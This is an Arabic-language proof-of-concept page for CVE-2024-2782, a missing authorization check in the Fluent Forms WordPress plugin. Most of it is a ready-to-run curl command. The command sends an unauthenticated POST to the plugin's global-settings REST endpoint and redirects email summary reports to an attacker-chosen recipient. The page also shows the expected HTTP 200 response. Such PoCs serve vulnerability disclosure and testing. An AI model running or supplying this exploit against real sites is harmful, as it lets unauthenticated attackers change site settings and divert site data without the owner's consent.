
CVE-2024-2782 إثبات المفهوم
إثبات المفهوم لثغرة CVE-2024-2782
إضافة نموذج الاتصال Contact Form من Fluent Forms لمُنشئ نماذج WordPress للاختبارات والاستطلاعات والسحب والإفلات معرّضة لتعديل غير مصرح به للبيانات بسبب عدم وجود فحص للصلاحيات على نقطة نهاية REST API /wp-json/fluentform/v1/global-settings في جميع الإصدارات حتى 5.1.16 وما يشملها. وهذا يتيح للمهاجمين غير المصادق عليهم تعديل جميع إعدادات الإضافة.
المتطلبات الأساسية
أمر الاستغلال
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
-H "Content-Type: application/json"
-d '{
"key": "emailSummarySettings",
"email_report": "{"send_to_type":"custom","custom_recipients":"[email protected]"}"
}'
الاستجابة المتوقعة
HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 13:11:49 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.11
X-Robots-Tag: noindex
Link: <http://target:9090/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Allow: POST
Content-Length: 4
Content-Type: application/json; charset=UTF-8
true
لقطة الشاشة

تحقق من التغييرات في قاعدة بيانات WordPress
